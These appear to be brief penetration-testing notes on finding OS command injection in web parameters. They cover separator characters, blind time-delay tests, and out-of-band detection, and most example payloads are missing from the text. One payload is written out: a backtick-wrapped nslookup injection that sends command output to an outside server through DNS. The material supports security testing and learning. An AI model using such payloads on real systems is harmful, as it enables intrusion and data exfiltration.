when you are able to inject OS commands onto parameters / variables then its vulnerable
Test 1 : Simple OS injection :
Use Burp to see potential parameters like :
and try to run OS commands by using ;
in middle or something like ||
or &&
and last of them like :
There are many other commands that can be run check the cheatsheet
Test 2 : Blind OS injection with time delay :
Test if the target is executing commands but its just not showing for that we may use something like this :
As you can see the response only comes after 10s
Test 3 : If they are using thread to seperate
Some Commands are executed in a different new thread so any sleep / normal command run will only effect new thread and website is unaffected
So we are gonna inject this and the new Command is gonna ping myserver.com and we
check the logs of myserver.com to verify if It worked or not.
so instead of using any sleep+10
we use : nslookup+myserver.com
To take this a step further and cross check :
use ;nslookup+
`uname
`.myserver.com;
Note : ` is backticks
You must get the command result in your logs
So in the logs you must get something like ⇒ ( os command getting executed ).rest of request